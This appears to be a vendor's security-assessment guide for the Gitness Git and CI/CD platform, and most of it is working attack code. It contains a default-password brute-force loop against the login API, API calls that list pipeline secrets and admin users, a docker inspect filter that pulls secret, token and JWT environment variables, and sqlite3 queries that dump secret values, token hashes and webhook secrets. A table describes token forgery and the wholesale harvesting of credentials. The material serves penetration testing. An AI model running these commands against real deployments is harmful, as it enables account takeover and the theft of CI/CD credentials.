Gitness (Harness Open Source) is a widely deployed open-source Git hosting and CI/CD platform used to manage source code repositories, build pipelines, and deployment automation — it stores source code, CI/CD pipeline definitions, and pipeline secrets (API keys, registry credentials, deployment tokens). Key assessment areas: pipeline secrets in Gitness are stored in the database and accessed by CI/CD pipelines; the REST API allows enumerating all repositories, spaces, and pipeline configurations; the database (SQLite or PostgreSQL) stores all platform data including user credentials and pipeline secrets; and webhook configurations may expose secret tokens. This guide covers systematic Gitness security assessment.
# Gitness — authentication and API token testing
GITNESS_URL="https://gitness.example.com"
# Gitness login — email/password authentication
AUTH=$(curl -s -X POST "${GITNESS_URL}/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"login_identifier":"admin","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Gitness may return access_token or token field
t = d.get('access_token','')
if not t:
session = d.get('session',{})
t = session.get('token','')
print(t if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Token: ${TOKEN}"
# Try common credentials
for CRED in "admin:admin" "admin:gitness" "admin:password" "admin:changeme"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -X POST "${GITNESS_URL}/api/v1/login" \
-H "Content-Type: application/json" \
-d "{\"login_identifier\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'access_token' in d or 'session' in d else 'FAIL')" 2>/dev/null)
echo "${EMAIL}/${PASS}: ${STATUS}"
done
# User token authentication (generated in profile settings)
API_TOKEN="your-gitness-api-token"
curl -s "${GITNESS_URL}/api/v1/user" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"display_name\")} ({d.get(\"email\")}) admin={d.get(\"admin\")}')
" 2>/dev/null
# Gitness REST API — repository and pipeline secret enumeration
GITNESS_URL="https://gitness.example.com"
API_TOKEN="your-gitness-api-token"
# List all spaces (organizations)
curl -s "${GITNESS_URL}/api/v1/spaces" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d if isinstance(d,list) else d.get('spaces',[])
print(f'Spaces: {len(spaces)}')
for s in spaces:
print(f' [{s.get(\"id\")}] {s.get(\"path\")} repos={s.get(\"num_repos\")} sub={s.get(\"num_child_spaces\")}')
" 2>/dev/null
SPACE_PATH="your-space"
# List all repositories in a space
curl -s "${GITNESS_URL}/api/v1/spaces/${SPACE_PATH}/+/repos" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d if isinstance(d,list) else d.get('repositories',[])
print(f'Repositories: {len(repos)}')
for r in repos[:10]:
print(f' [{r.get(\"id\")}] {r.get(\"path\")} default_branch={r.get(\"default_branch\")} private={r.get(\"is_private\")}')
" 2>/dev/null
# List all pipeline secrets in a space — CI/CD credentials
curl -s "${GITNESS_URL}/api/v1/secrets?space_path=${SPACE_PATH}" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
secrets = d if isinstance(d,list) else d.get('secrets',[])
print(f'Secrets: {len(secrets)}')
for s in secrets[:15]:
# Secret values may be returned depending on admin access level
print(f' [{s.get(\"id\")}] {s.get(\"identifier\")} type={s.get(\"type\")} value={s.get(\"value\",\"[masked]\")}')
" 2>/dev/null
# List pipeline execution logs — may contain secret values printed during execution
REPO_PATH="your-space/your-repo"
curl -s "${GITNESS_URL}/api/v1/repos/${REPO_PATH}/+/pipelines" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
pipelines = d if isinstance(d,list) else d.get('pipelines',[])
print(f'Pipelines: {len(pipelines)}')
for p in pipelines[:5]:
print(f' [{p.get(\"id\")}] {p.get(\"identifier\")} last={p.get(\"execution\",{}).get(\"status\",\"\")}')
" 2>/dev/null
# List all users on the platform (admin only)
curl -s "${GITNESS_URL}/api/v1/admin/users" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d if isinstance(d,list) else d.get('users',[])
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"display_name\")} email={u.get(\"email\")} admin={u.get(\"admin\")}')
" 2>/dev/null
# Gitness database and environment variable extraction
# Docker environment variables
docker inspect gitness 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','DATABASE','TOKEN','PASSWORD','KEY','GITNESS']):
print(e)
" 2>/dev/null
# GITNESS_JWT_SECRET — JWT signing key for authentication tokens
# GITNESS_DATABASE_DATASOURCE — database connection string
# GITNESS_PRINCIPAL_ADMIN_EMAIL/PASSWORD — initial admin credentials
# SQLite database access (default Gitness storage)
GITNESS_DB="/data/gitness/gitness.db"
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
-- All users and their tokens
SELECT p.uid, p.display_name, p.email, p.admin, p.created
FROM principals p
WHERE p.type = 'user'
ORDER BY p.admin DESC, p.created DESC
LIMIT 20;
EOF
# User API tokens
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT t.uid, t.identifier, t.principal_id,
p.email, t.token_hash, t.expires_at, t.created_at
FROM tokens t
JOIN principals p ON t.principal_id = p.id
ORDER BY t.created_at DESC
LIMIT 20;
EOF
# token_hash — hashed API token; raw token not stored, but active sessions may be in memory
# Pipeline secrets table
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT s.uid, s.identifier, s.description,
sd.value -- Secret value (may be encrypted or plaintext depending on version)
FROM secrets s
LEFT JOIN secret_data sd ON s.id = sd.secret_id
LIMIT 20;
EOF
# Webhooks — may contain secret tokens for HMAC verification
sqlite3 "$GITNESS_DB" 2>/dev/null << 'EOF'
SELECT w.id, w.identifier, w.url, w.secret, w.enabled,
w.space_id, w.repo_id
FROM webhooks w
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Pipeline secret enumeration via API | GET /api/v1/secrets?space_path={space} — all pipeline secrets with identifiers; admin-level access may return plaintext values for credentials used in CI/CD pipelines | Critical |
| Database pipeline secrets table access | SQLite SELECT from secrets/secret_data — pipeline secret values (plaintext or encrypted depending on version); complete harvest of all CI/CD credentials | Critical |
| JWT_SECRET extraction and session token forgery | Read Docker env GITNESS_JWT_SECRET — JWT signing key; forge valid authentication tokens as any Gitness user including admins | Critical |
| Webhook secret exposure | SQLite SELECT from webhooks — HMAC verification secrets; enables forging webhook payloads to trigger unauthorized pipeline executions | High |
| Admin user email enumeration | GET /api/v1/admin/users — all platform users with emails and admin status; enables targeted attacks against CI/CD platform administrators | High |
Ironimo tests Gitness deployments for pipeline secret API enumeration, JWT_SECRET extraction and token forgery, SQLite database secret value extraction, webhook HMAC secret exposure, admin credential brute force protection, repository visibility misconfiguration, Docker environment variable exposure, pipeline execution log sensitive data leakage, admin user email enumeration, and branch protection policy assessment.
Start free scan